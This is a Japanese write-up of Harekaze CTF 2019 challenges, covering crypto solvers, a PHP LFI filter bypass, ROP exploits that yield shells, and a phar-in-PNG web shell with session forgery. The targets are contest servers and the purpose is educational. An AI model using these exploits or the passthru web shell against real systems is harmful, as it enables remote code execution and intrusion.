Harekaze CTF 2019 Write-up

https://harekaze.com/ctf/2019.html
https://harekaze.com/ctf/2019-result.html
https://github.com/TeamHarekaze/HarekazeCTF2019-challenges

チームsuperflipは、1410点で15位。もう少し解きたかった。

<a href="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/2ae60a81-e0f5-11ca-56c2-682bb31389f3.png"><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/2ae60a81-e0f5-11ca-56c2-682bb31389f3.png" width="480"></a>

http://problem.harekaze.com:????/ はHTTPしかないのに、  https://harekaze.com/ がHSTSを設定してくるから、うっかり見に行くとその度にHSTSを削除しないといけない（途中で問題文にIPアドレスのURLが追加された）。

## 1. Welcome (Misc, 10 points)

> Harekaze CTF 2019へようこそ! 楽しんでいただければ幸いです。フラグは `HarekazeCTF{Thank_you_for_participating_in_Harekaze_CTF_2019}` です。

`HarekazeCTF{Thank_you_for_participating_in_Harekaze_CTF_2019}`

## 4. One Quadrillion (Crypto, 200 points)

解けなかった。

<blockquote class="twitter-tweet" data-lang="ja"><p lang="ja" dir="ltr">HarekazeCTF 2019、Cryptoを解きました<br>ONCE UPON A TIME: 2通りずつ試してasciiチェック<br>Twenty-five: 予約語と照らし合わせながら1文字種ずつ復号<br>show me your private key: 素因数分解→mod p/mod qでe乗根→CRT<br>Now We Can Play!!: やるだけ<br>One Quadrillion: Length Extension Attack</p>&mdash; narypto (@narypto) <a href="https://twitter.com/narypto/status/1129996115946795008?ref_src=twsrc%5Etfw">2019年5月19日</a></blockquote>

Length extension attackか。一瞬頭に浮かんだ覚えがある。なぜ切り捨ててしまったのか。

せっかく法が合成数のmodの除算とかを実装したので、作りかけのコードを置いておく。`0`と`1`のときで、ソルトの上位6桁と直前の`v`が共通だから、それぞれ候補を列挙して積集合をとって、どうこうという想定。ソルトが64ビット整数程度なら何かゴリ押す手もあるかと思ったが、公開された問題を見ると、44桁の文字列だった。厳しい。

https://github.com/TeamHarekaze/HarekazeCTF2019-challenges/blob/master/one_quadrillion/server/files/index.php#L55

```solve.py
# x,y,d = exgcd(m, n)
# x*m+y*n = d = gcd(m, n)
def exgcd(m, n):
  if n>0:
    y,x,d = exgcd(n, m%n)
    return x, y-m/n*x, d
  else:
    return 1, 0, m

M = 10000000

# a/b
def div(a, b):
  x, y, d = exgcd(b, M)
  # x*b==d (mod 10^7)
  r = []
  if a%d==0:
    for i in range(d):
      r += [(x*(a/d)+(M/d)*i)%M]
  return r

t = [
  5676567,  858051, 5476703,  265259,
  4058727, 5112531,  964143, 1099579,
  8277687, 8717411, 2022783, 7207499,
  1997447, 5864691,  828623, 3917019]

i=3
# 0
v = [5998685, 4175985, 6599920, 1814640]
# 1
#v = [8927005, 8290097, 3112880, 4742960]

d = v[3]
pv = [0]*4
pv[1] = (v[0]-d)%M

for salt in range(1000000, 10000000):
  for pv[3] in div(v[2], d):
    # (d|pv[2])%M==v[1]
    # v[1]のビットの部分集合を列挙
    for j in range(3):
      pv[2] = v[1]+M*j
      while True:
        a = pv[1+(i+0)%3]
        b = pv[1+(i+1)%3]
        c = pv[1+(i+2)%3]
        if (a*b+b*c+c*(salt)^t[i%16])%M==d:
          print salt, pv
        if pv[2]==0:
          break
        pv[2] = (pv[2]-1)&(v[1]+M*j)
```

## 13. ONCE UPON A TIME (Crypto, 100 points)

5x5行列を、乱数によって左か右かから掛けて暗号化している。関数`takenoko`は行列積。逆行列を計算して、両方試せば良い。

```solve.py
m2 = [[1,3,2,9,4], [0,2,7,8,4], [3,4,1,9,4], [6,5,3,-1,4], [1,4,5,3,5]]

M = []
for i in range(5):
  M += [m2[i]+[int(j==i) for j in range(5)]]

for i in range(5):
  assert M[i][i]!=0
  d = pow(M[i][i], 251-2, 251)
  for j in range(10):
    M[i][j] = M[i][j]*d
    M[i][j] %= 251
  for j in range(5):
    if j!=i:
      t = M[j][i]
      for k in range(10):
        M[j][k] -= M[i][k]*t
        M[j][k] %= 251

inv = []
for i in range(5):
  inv += [M[i][5:]]

result = "ea5929e97ef77806bb43ec303f304673de19f7e68eddc347f3373ee4c0b662bc37764f74cbb8bb9219e7b5dbc59ca4a42018"
result = map(ord, result.decode("hex"))

def takenoko(X, Y):
    W = [[0,0,0,0,0],[0,0,0,0,0],[0,0,0,0,0],[0,0,0,0,0],[0,0,0,0,0]]
    for i in range(5):
        for j in range(5):
            for k in range(5):
                W[i][j] = (W[i][j] + X[i][k] * Y[k][j]) % 251
    return W

for i in range(0, len(result), 25):
  R = []
  for j in range(0, 25, 5):
    R += [result[i+j:i+j+5]]
  F1 = takenoko(R, inv)
  F2 = takenoko(inv, R)
  print "".join(["".join(map(chr, f)) for f in F1])
  print "".join(["".join(map(chr, f)) for f in F2])
```

`M[i][i]==0`のときに他の行を持ってくる処理は端折っている。

```
Op3n_y0ur_3y3s_1ook_up_t0
qPﾜkQ「nH3fCﾜkVﾖ敎迢r
_th3_ski3s_4nd_s33%%%%%%%
眈ﾘ・+｣ﾂｵ饕ﾕG\dHKﾚCﾉ
```

`HarekazeCTF{Op3n_y0ur_3y3s_1ook_up_t0_th3_ski3s_4nd_s33}`

## 16. Encode & Encode (Web, 100 points)

> つよいWAFを作りました! これならフラグは読めないはず!

```query.php
<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);
```

Dockerfileによると、フラグは`/flag`にある。

`php://filter/convert.base64-encode/resource=/flag`でフラグを読みこめば最後の`preg_replace`は回避できる。が、「つよいWAF」が厳しい。なぜ解いているチームが多いんだ……と思ったら、`is_valid`は`$page`ではなく`$body`が引数だった。簡単。

```shell-session
$ curl -d '{"page": "\u0070hp://filter/convert.base64-encode/resource=/\u0066lag"}' http://problem.harekaze.com:10001/query.php
{"content":"SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg=="}
$ echo "SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg==" | base64 -d
HarekazeCTF{turutara_tattatta_ritta}
```

`HarekazeCTF{turutara_tattatta_ritta}`

## 19. Baby ROP (Pwn, 100 points)

お子様向けROP。スタックカナリアもいないし、PICが有効ではない（アドレスがランダム化されない）し、`system`も`/bin/sh`も実行ファイル中に存在する。これは簡単。

```babyrop.asm
 :
00000000004005d6 <main>:
  4005d6:	55                   	push   rbp
  4005d7:	48 89 e5             	mov    rbp,rsp
  4005da:	48 83 ec 10          	sub    rsp,0x10
  4005de:	bf a8 06 40 00       	mov    edi,0x4006a8
  4005e3:	e8 a8 fe ff ff       	call   400490 <system@plt>
  4005e8:	48 8d 45 f0          	lea    rax,[rbp-0x10]
  4005ec:	48 89 c6             	mov    rsi,rax
  4005ef:	bf c5 06 40 00       	mov    edi,0x4006c5
  4005f4:	b8 00 00 00 00       	mov    eax,0x0
  4005f9:	e8 c2 fe ff ff       	call   4004c0 <__isoc99_scanf@plt>
  4005fe:	48 8d 45 f0          	lea    rax,[rbp-0x10]
  400602:	48 89 c6             	mov    rsi,rax
  400605:	bf c8 06 40 00       	mov    edi,0x4006c8
  40060a:	b8 00 00 00 00       	mov    eax,0x0
  40060f:	e8 8c fe ff ff       	call   4004a0 <printf@plt>
  400614:	b8 00 00 00 00       	mov    eax,0x0
  400619:	c9                   	leave  
  40061a:	c3                   	ret    
  40061b:	0f 1f 44 00 00       	nop    DWORD PTR [rax+rax*1+0x0]
 :
```

入力は`$rbp-0x10`に読みこまれ、`$rbp+0x08`がリターンアドレス。

gdb-pedaで開き、`sytem`関数を呼ぶので`set follow-fork-mode parent`で親プロセスを追跡するようにして、一旦実行して止め、`dumprop`。

```
gdb-peda$ dumprop
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: babyrop-rop.txt ...
0x40066f: ret
0x4005aa: repz ret
0x400619: leave; ret
0x400540: pop rbp; ret
0x400683: pop rdi; ret
0x400682: pop r15; ret
```

`0x400683`に`pop rdi; ret`がある。ということで、スタックを下記の状態にすれば良い。

|addr|content|desc|
|---|--:|---|
|`$rbp-0x10`|`6161616161616161`|`aaaaaaaa`|
|`$rbp-0x08`|`6161616161616161`|`aaaaaaaa`|
|`$rbp+0x00`|`6161616161616161`|`aaaaaaaa`|
|`$rbp+0x08`|`400683`|`pop rdi; ret`のアドレス|
|`$rbp+0x10`|`601048`|`/bin/sh`のアドレス<br>（`rdi`に入る）|
|`$rbp+0x18`|`400490`|`system`のアドレス|

スクリプトを書く必要も無い。

```shell-session
$ hexdump -C attack.bin
00000000  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  |aaaaaaaaaaaaaaaa|
00000010  61 61 61 61 61 61 61 61  83 06 40 00 00 00 00 00  |aaaaaaaa..@.....|
00000020  48 10 60 00 00 00 00 00  90 04 40 00 00 00 00 00  |H.`.......@.....|
00000030  0a                                                |.|
00000031
$ cat attack.bin - | nc problem.harekaze.com 20001
What's your name? ls -al /home
total 12
drwxr-xr-x 1 root root 4096 May 10 13:57 .
drwxr-xr-x 1 root root 4096 May 18 06:34 ..
drwxr-xr-x 1 root root 4096 May 17 16:05 babyrop
ls -al /home/babyrop
total 36
drwxr-xr-x 1 root root 4096 May 17 16:05 .
drwxr-xr-x 1 root root 4096 May 10 13:57 ..
-rw-r--r-- 1 root root  220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 root root 3771 Aug 31  2015 .bashrc
-rw-r--r-- 1 root root  655 May 16  2017 .profile
-rwxr-xr-x 1 root root 8752 May 17 16:03 babyrop
-rw-r--r-- 1 root root   61 May 17 16:03 flag
cat /home/babyrop/flag
HarekazeCTF{r3turn_0r13nt3d_pr0gr4mm1ng_i5_3ss3nt141_70_pwn}
exit
```

`HarekazeCTF{r3turn_0r13nt3d_pr0gr4mm1ng_i5_3ss3nt141_70_pwn}`

## 31. Baby ROP 2 (Pwn, 200 points)

`system`と`/bin/sh`が消えて、ちょっと難しくなった。`printf`などを使って、`.got.plt`に格納されているlibcの関数のアドレスを出力させ、そのアドレスからlibcが配置されているアドレスを特定し、libc中のOne-gadget RCE（そこに飛ばすと`system("/bin/sh")`が実行される）のアドレスを計算して、飛ばす。

1回目のROPではスタックを下記の状態にして、`printf(printf)`を実行して、`main`に戻る。`printf`はアドレスの下位1バイトがちょうど`00`で使えなかったので、`read`にした。

|addr|content|desc|
|---|--:|---|
|`$rbp+0x08`|`400733`|`pop rdi; ret`|
|`$rbp+0x10`|`601020`|`.got.plt`の`read`|
|`$rbp+0x18`|`4004f0`|`printf`|
|`$rbp+0x20`|`400636`|`main`|

2回目は、

|addr|content|desc|
|---|--:|---|
|`$rbp+0x08`|`????????`|One-gadget RCE|
|`$rbp+0x10`|`00000...`|One-gadget RCEの条件|

```attack.py
from time import *
from socket import *
from struct import *
from telnetlib import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("problem.harekaze.com", 20005))

sleep(1)
print s.recv(999)

s.send(
  "a"*0x28 +
  pack("<Q", 0x400733) +
  #pack("<Q", 0x601018) + # printf
  pack("<Q", 0x601020) + # read
  pack("<Q", 0x4004f0) +
  pack("<Q", 0x400636) +
  "\n")

sleep(1)
t = s.recv(999)
print repr(t)

read = t[t.index("!\n")+2:t.index("What's")]
read += "\x00"*(8-len(read))
read = unpack("<Q", read)[0]
print "read: %08x"%read

rce = read - 0xf7250 + 0x4526a
print "rce: %08x"%rce

s.send(
  "a"*0x28 +
  pack("<Q", rce) +
  "\x00"*0x38 +
  "\n")

t = Telnet()
t.sock = s
t.interact()
```

```
What's your name?
"Welcome to the Pwn World again, aaaaaaaaaaaaaaaaaaaaaaaaaaaaI!\nP\x92\x95\xb9\xb7\x7fWhat's your name? "
read: 7fb7b9959250
rce: 7fb7b98a726a
Welcome to the Pwn World again, aaaaaaaaaaaaaaaaaaaaaaaaaaaai!
id
uid=1000(babyrop2) gid=1000(babyrop2) groups=1000(babyrop2)
cat /home/babyrop2/flag
HarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng}
```

想定解（？）のBSSセグメントの使い道は何なんだろう。

`HarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng}`

## 37. The Steganography Generator (Reversing, 200 points)

> Java でステガノグラフィーツールを作りました!
> JAR ファイルが簡単にデコンパイルできることは知っていますが、パスワード保護システムがうまくファイルを守ってくれると信じています…。

ちょっと読んだけれど解けなかった。パスワードをシードとして乱数を初期化し、埋め込む文字列ごとに埋め込むx座標を乱数で算出している。

```java
 :
      for (int i = 0; i < this.payload.length; i++)
      {
        int seed = password.codePointAt(i % password.length());
        seed ^= i * i * password.codePointAt((i + password.length() - 1) % password.length());
        Random rnd = new Random(seed);
 :
```

こんなことをやっていて、最初の8バイトは定数`MAGIC_NUMBER`だから、パスワードの各文字が逆算できるのかな。

## 40. Twenty-five (Crypto, 100 points)

> With “ppencode”, you can write Perl code using only Perl reserved words.

単一換字式暗号で暗号化し[ppencode](http://namazu.org/~takesako/ppencode/demo.html)されたプログラム。ご丁寧に予約語一覧も付いている。

「問題のプログラム中に`oo`がある。同一の文字が繰り返される予約語は`QQ`しかない」みたいな感じで手作業で頑張った。

単一換字式暗号を復号したものをそのまま実行しても何も出力されなくて、ppencodeを戻そうと、整形していたらフラグが出力された。整形に意味は無くて、改行を空白に置換すれば良かったらしい。perlは改行が単に空白文字の言語だと思うけれど、複数行文字列でもあったのだろうか。

`HarekazeCTF{en.wikipedia.org/wiki/Frequency_analysis}`

## 43. show me your private key (Crypto, 200 points)

> I’ve exposed my private key… police is coming…

Coinhiveとか無限ループとかあったけど、自分の秘密鍵を晒して、お縄になったことあったっけ？w

```problem.sage.py
from Crypto.Util.number import getPrime, bytes_to_long
from secret import flag

Gx = bytes_to_long(flag[len(flag)//2:])
Gy = bytes_to_long(flag[:len(flag)//2])

def getC2Prime(kbits):
    while True:
        p = getPrime(kbits)
        if p % 3 == 2:
            break
    return p


def gen_key(kbits):
    p = getC2Prime(kbits//2)
    q = getC2Prime(kbits//2)
    return 65537, p, q


e, p, q = gen_key(512)
d = inverse_mod(e, (p-1)*(q-1))
n = p*q
print "[+] (n, e, d) :", (n, e, d)

b = (pow(Gy, 2, n) - pow(Gx, 3, n)) % n
EC = EllipticCurve(Zmod(n), [0, b])

G = EC(Gx, Gy)
Cx, Cy = (e*G).xy()
print "[+] Cx:", Cx
print "[+] Cy:", Cy
```

楕円曲線の法をRSAの`n`にした暗号。

<blockquote class="twitter-tweet" data-lang="ja"><p lang="ja" dir="ltr">HarekazeCTF 2019、Cryptoを解きました<br>ONCE UPON A TIME: 2通りずつ試してasciiチェック<br>Twenty-five: 予約語と照らし合わせながら1文字種ずつ復号<br>show me your private key: 素因数分解→mod p/mod qでe乗根→CRT<br>Now We Can Play!!: やるだけ<br>One Quadrillion: Length Extension Attack</p>&mdash; narypto (@narypto) <a href="https://twitter.com/narypto/status/1129996115946795008?ref_src=twsrc%5Etfw">2019年5月19日</a></blockquote>

<blockquote class="twitter-tweet" data-conversation="none" data-lang="ja"><p lang="ja" dir="ltr">show me your private keyの作問者です。 CRTでも解けるんですが、一応想定解(?)としてはこちらの方のwriteupが非常に参考になります。<a href="https://t.co/T0v2kHaTUz">https://t.co/T0v2kHaTUz</a></p>&mdash; ゆうけむ (@ykm_kn) <a href="https://twitter.com/ykm_kn/status/1130073618237382658?ref_src=twsrc%5Etfw">2019年5月19日</a></blockquote>

「RSA要素を何も使っていないから、想定解ではない気がするなぁ」と思いながら解いた。やっぱり想定解法ではなかったw

この問題の楕円曲線は$y^2=x^3+b$である。$b=Gy^2-Gx^3$とすることで、点$(Gx, Gy)$が楕円曲線上にあることを保障している。楕円曲線上の点$(Cx, Cy)$が与えられるので、$b$は計算できる。ところで、この問題における$n$は1024ビット、$Gx$はフラグの半分。$Gx^3$が$n$の影響を受けるには、$Gx$は341ビット必要。42バイト。84文字なんて長いフラグある？

ということで、`b`から`Gx`と`Gy`を求められた。2乗と3乗の違いから、`-b`の3乗根を求めれば、ほぼ`Gx`になる。後は`Gx`をちょっと修正して、`Gy`を求めれば良い。`e`が小さなRSA暗号で、短い平文をパディングせずに暗号化すると、同じ脆弱性が生まれる。

```solve.py
(n, e, d) = (9799080661501467884467225188078342742766492539290954649052326288545249523485259554498055327101620585612049935019772095457875188392850174807669467113561703L, 65537, 357800937225887859492043729115941745631326069953205890949878950951199812467762505076908807818483545413271956081271375834809278508559178715879283048960953)
Cx = 4143446088312921816758362264853048120154280049677909632349103364802575463576509561464947871773793787896063253331418475283720886100034333135184249344102365
Cy = 8384037709829308179633895299138296616530497125381624381678499818112417287445046103971322133573513084823937517071462947639275474462359445732327289575301489

# return x s.t. x**n=y
def root(y, n):
  l = 0
  r = y
  while r-l>1:
    m = (l+r)/2
    if m**n<=y:
      l = m
    else:
      r = m
  return l

# y**2 = x**3 + b
b = (Cy**2-Cx**3)%n
Gx3 = -b%n
Gx = root(Gx3, 3)
print hex(Gx)[2:-1].decode("hex") # 3_with_a_las3r_b3am|

Gx = int("3_with_a_las3r_b3am}".encode("hex"), 16)
Gy2 = (b+Gx**3)%n
Gy = root(Gy2, 2)

print hex(Gy)[2:-1].decode("hex") + hex(Gx)[2:-1].decode("hex")
```

`HarekazeCTF{dynamit3_with_a_las3r_b3am}`

## 46. \[a-z().\] (Misc, 200 points)

解けなかった。

```app.js
 :
  const code = req.query.code + '';
  if (code && code.length < 200 && !/[^a-z().]/.test(code)) {
    try {
      const result = vm.runInNewContext(code, {}, { timeout: 500 });
      if (result === 1337) {
        output = process.env.FLAG;
 :
```

条件が厳しすぎるから、サンドボックスの迂回でもするのかと思っていた。`typeof(this)`や`this.toString()`で文字列が作れるし、`"hoge".length`で整数が得られるし、`"hoge".concat("fugafuga")`で（文字列長の）足し算ができるし、`"hoge".repeat(3)`で掛け算もできるし、そういうので頑張るらしい。

## 49. Avatar Uploader 1 (Misc, 100 points)

> アイコンをアップロードできるだけのAvatar Uploaderというサービスを作りました。アップローダーはPNG形式だけを受け付けるようにチェックをしているのですが、もしこのチェックを騙すことができればフラグを差し上げます。

```upload.php
 :
// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
  error('Uploaded file is not PNG format.');
}

// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
  error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
  // I hope this never happens...
  error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}
 :
```

[finfo_file](https://php.net/manual/ja/function.finfo-file.php)がPNG形式と判断し、[getimagesize](https://www.php.net/manual/ja/function.getimagesize.php)がPNG形式と判断しなければ良い。`getimagesize`が他の画像形式と判断する必要は無く、エラーでも良い。`$size`が`FALSE`でも、`$size[0] > 256 || $size[1] > 256`は通る。

真面目にPHPのソースコードを読んでいてつらくなって、適当にPNGを切ったら通った。ファイルの種別を判断するだけと、画像のサイズを取得することの差か。

```
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010
```

`HarekazeCTF{seikai_wa_hitotsu!janai!!}`

## 52. Avatar Uploader 2 (Web, 300 points)

Solved: 11。朝まで掛かったけれど、これが解けたのは嬉しい。

問題ファイルやサーバーは1と同じ。

> アイコンをアップロードできるだけのAvatar Uploaderというサービスを作りました。もしよかったら脆弱性がないか確認していただけませんか。

後からこのヒントが追加された。

> ヒント: https://php.net/manual/ja/function.password-hash.php

ヒントが言っているのはこの部分。

```session.php
  private function verify($string, $signature) {
    return password_verify($this->secret . $string, $signature);
  }

  private function sign($string) {
    return password_hash($this->secret . $string, PASSWORD_BCRYPT);
  }
}
```

セッションは、

```session.json
{"theme":"dark","name":"kusano","flash":{"type":"error","message":"What happened...? OK, the flag for part 1 is: <code>HarekazeCTF{seikai_wa_hitotsu!janai!!}<\/code>"}}
```

こんな感じのJSONで、署名が72文字目までしか効かないので、72文字目以降は好きに改竄できる。同じ要素があると後のほうが優先されるようなので、`theme`などを書き換えることも可能。

index.phpに、

```index.php
    <style>
/* common.css */
<?php include('common.css'); ?>
/* light/dark.css */
<?php include($session->get('theme', 'light') . '.css'); ?>
/**/
    </style>
```

こういう処理があるから、任意の文字列＋`.css`を`include`させることができる。やるだけかと思いきや、ここからが苦労した。アップローダーがあるので、好きなPNG形式（と`finfo_file`や`getimagesize`が判断する）の画像をアップロードすることができる。乱数＋`.png`で保存される。PHPスクリプトを書いて読みこませられれば勝ちなのだけど……。

- NUL文字で`.css`を無かったことに
  - → 今どきのPHPは対策済み
- [data://](https://www.php.net/manual/ja/wrappers.data.php)で、`data://text/plain,<?php hoge ?>.css`
  - → `allow_url_include` はoff
- [php://](https://www.php.net/manual/ja/wrappers.php.php)で、 `php://filter//resource=uploads/01234567.png/hogehoge=.css`
  - → `uploads/01234567.png/hogehoge=.css`を読もうとしてエラー
- `zip://uploads/01234567.png#attack.css`
  - → `zip://`が有効になっていない

pharでいけた。先頭がPHPファイルだから、`<?php`が出てくるまで好きなデータが書けるらしい。

[nullcon HackIM CTF 2019 Web Challenges](https://eugenekolo.com/blog/nullcon-hackim-ctf-2019/)

```make.php
<?php
class Hoge {}

$png = file_get_contents("mezamashi_s.png");
$phar = new Phar("attack.png.phar");
$phar->startBuffering();
$phar->addFromString("attack.css", 'hoge<?php passthru($_GET["cmd"]);?>fuga');
$phar->setStub($png."<?php __HALT_COMPILER(); ?>");
$o = new Hoge();
$phar->setMetadata($o);
$phar->stopBuffering();
```

で、PNGファイルとしても読め、pharとして`attack.css`を読むと`hoge<?php passthru($_GET["cmd"]);?>fuga`になるファイルができる。

mezamashi_s.png
![mezamashi_s.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/c6a434a3-c007-b449-2c97-c3f6fcc8fb0e.png)

```
>>> x = r'{"theme":"dark","name":"kusano","flash":{"type":"error","message":"What happened...? OK, the flag for part 1 is: <code>HarekazeCTF{seikai_wa_hitotsu!janai!!}<\/code>"},"theme":"phar://uploads/54d72c05.png/attack"}'
>>> print x.encode("base64").replace("\n","").replace("+","-").replace("/","_").replace("=","")+".JDJ5JDEwJFFlYzdKU1cyVWkvdlhQSldSa21KbWVwL1pJMlZqd3VXTjFXd0NOeUd1ZmdMVmNyT21EMnRT"
eyJ0aGVtZSI6ImRhcmsiLCJuYW1lIjoia3VzYW5vIiwiZmxhc2giOnsidHlwZSI6ImVycm9yIiwibWVzc2FnZSI6IldoYXQgaGFwcGVuZWQuLi4_IE9LLCB0aGUgZmxhZyBmb3IgcGFydCAxIGlzOiA8Y29kZT5IYXJla2F6ZUNURntzZWlrYWlfd2FfaGl0b3RzdSFqYW5haSEhfTxcL2NvZGU-In0sInRoZW1lIjoicGhhcjovL3VwbG9hZHMvNTRkNzJjMDUucG5nL2F0dGFjayJ9.JDJ5JDEwJFFlYzdKU1cyVWkvdlhQSldSa21KbWVwL1pJMlZqd3VXTjFXd0NOeUd1ZmdMVmNyT21EMnRT
```

このセッションをセットして、 http://problem.harekaze.com:10002/?cmd=ls%20-l%20/ を読むと、

```index.html
/* light/dark.css */
hogetotal 76
drwxr-xr-x   1 root root 4096 May  8 02:37 bin
drwxr-xr-x   2 root root 4096 Mar 28 09:12 boot
drwxr-xr-x   5 root root  340 May 18 13:01 dev
drwxr-xr-x   1 root root 4096 May 18 13:01 etc
-rwxr-xr-x   1 root root   34 May 18 05:32 flag2-9ce58aa0d976cdbb
drwxr-xr-x   2 root root 4096 Mar 28 09:12 home
drwxr-xr-x   1 root root 4096 May  8 02:30 lib
drwxr-xr-x   2 root root 4096 May  6 00:00 lib64
drwxr-xr-x   2 root root 4096 May  6 00:00 media
drwxr-xr-x   2 root root 4096 May  6 00:00 mnt
drwxr-xr-x   2 root root 4096 May  6 00:00 opt
dr-xr-xr-x 349 root root    0 May 18 13:01 proc
drwx------   1 root root 4096 May  8 02:41 root
drwxr-xr-x   1 root root 4096 May  8 02:37 run
drwxr-xr-x   1 root root 4096 May  8 02:37 sbin
drwxr-xr-x   2 root root 4096 May  6 00:00 srv
dr-xr-xr-x  13 root root    0 May 17 15:47 sys
drwxrwxrwt   1 root root 4096 May 19 15:24 tmp
drwxr-xr-x   1 root root 4096 May  6 00:00 usr
drwxr-xr-x   1 root root 4096 May  8 02:30 var
fuga/**/
```

http://problem.harekaze.com:10002/?cmd=cat%20/flag2-9ce58aa0d976cdbb で、

```index.html
/* light/dark.css */
hogeHarekazeCTF{lfi_with_phar_is_fun}
fuga/**/
```

手作業でやっていたけど、大量に画像をアップロードしている人がいるのか、消して回っている人がいるのか、アップロードした画像がしょっちゅう消える。自動化するべきだった。

`HarekazeCTF{lfi_with_phar_is_fun}`

## 58. Now We Can Play!! 

> It is just a simple cryptography game. When you get a flag, YOU WIN!!

```problem.py
#!/usr/bin/python3
from Crypto.Util.number import *
from Crypto.Random.random import randint
from keys import flag

def genKey(k):
    p = getStrongPrime(k)
    g = 2
    x = randint(2, p)
    h = pow(g, x, p)

    return (p, g, h), x

def encrypt(m, pk):
    p, g, h = pk
    r = randint(2, p)

    c1 = pow(g, r, p)
    c2 = m * pow(h, r, p) % p
    return c1, c2

def decrypt(c1, c2, pk, sk):
    p = pk[0]
    m = pow(3, randint(2**16, 2**17), p) * c2 * inverse(pow(c1, sk, p), p) % p
    return m


def challenge():
    pk, sk = genKey(1024)
    m = bytes_to_long(flag)
    c1, c2 = encrypt(m, pk)

    print("Public Key :", pk)
    print("Cipher text :", (c1, c2))

    while True:
        print("---"*10, "\n")
        in_c1 = int(input("Input your ciphertext c1 : "))
        in_c2 = int(input("Input your ciphertext c2 : "))

        dec = decrypt(in_c1, in_c2, pk, sk)
        print("Your Decrypted Message :", dec)

if __name__ == "__main__":
    challenge()
```

複数回`c1`と`c2`を入力できるのに1回で解けたし、これも想定解法ではないのだろうか……？と思ったけど、作問者にも分からないらしいw

<blockquote class="twitter-tweet" data-lang="ja"><p lang="ja" dir="ltr">正直な話、なんで僕も復号オラクルがあったのかわからないですね…(2ヶ月ほど前に草案として適当に投げたやつがそのまま出てしまった)<br>当時の僕は何か考えがあったんだと思います…(本当にすいません)</p>&mdash; ゆうけむ (@ykm_kn) <a href="https://twitter.com/ykm_kn/status/1130112659842523137?ref_src=twsrc%5Etfw">2019年5月19日</a></blockquote>

素数を法とする剰余環において、加算、減算、乗算、除算、指数演算は容易にできる。一方、対数は効率的に計算することができない（離散対数問題）。

$x$が秘密鍵、素数$p$、$g=2$、$h=g^x$が公開鍵。乱数$r$を生成して、$m$を暗号化する、すなわち$c1=g^r$と$c2=mh^r$を計算することは、公開鍵を知っていればできる。復号には$x$が必要。$\frac{c2}{c1^x}=\frac{mh^r}{g^{rx}}=\frac{mg^{xr}}{g^{rx}}=m$。この問題は復号もしてくれるものの、`pow(3, randint(2**16, 2**17), p)`が掛けられた値が返ってくる。とはいえ、$2^{16}$通りしかないので、全通り試せば良い。`3**1234`で割るには、`pow(3**1234, p-2, p)`を掛ける。

```
('Public Key :', (129611465963576276175884704926659272830166848843117726813765952405011441153095544518370882403583907106289959590657076982812387742871049661594184116960088459582870149565315348397301486352187530672265603334586622171831488695588798232174923008229650443224146376154471702093416504001077807779638394326345495705979L, 2, 102415556349099650512587492236492899109076967367562710673261126251999604234860889251857369946556823858125217895211825291990706324702140575742783686918008322655668732971012026685006807894558005920398489914190228759561293771440039280949882993772226473245601689566995377706791416174787331323753769188850853810384L))
('Cipher text :', (69516126248410155154501752945225530512653830785471752785343749139365821737005927443120385411968796577504071681110776071830405348396836674008422344111671740191840405638399609058755397760132679235417224459276567798484169893761913477225865025728162221764595692032538605242107590658538196142635238805973508247673L, 38297890696902802168870262727365529660950106347283636109020715845656791368885186535949598501547598128217125535433219415030034629237647128489877684184961507813034776268194420434301487532601547119580076562347699320718610346226387907830164585184978473170540144902200352380036515106351243707526358572050493171627L))
('------------------------------', '\n')
Input your ciphertext c1 :
69516126248410155154501752945225530512653830785471752785343749139365821737005927443120385411968796577504071681110776071830405348396836674008422344111671740191840405638399609058755397760132679235417224459276567798484169893761913477225865025728162221764595692032538605242107590658538196142635238805973508247673
Input your ciphertext c2 :
38297890696902802168870262727365529660950106347283636109020715845656791368885186535949598501547598128217125535433219415030034629237647128489877684184961507813034776268194420434301487532601547119580076562347699320718610346226387907830164585184978473170540144902200352380036515106351243707526358572050493171627
('Your Decrypted Message :', 15012251594530353672790705878696438955882861148601367051265144550145568068509465526616321487480704727851923348848147594250557549394153846524512450248749483814258405873994138875524678908154746633767024055004797736430031099732977097918022312869432882614795005608361303537613123363152862353591980860851160662214L)
```

```solve.py
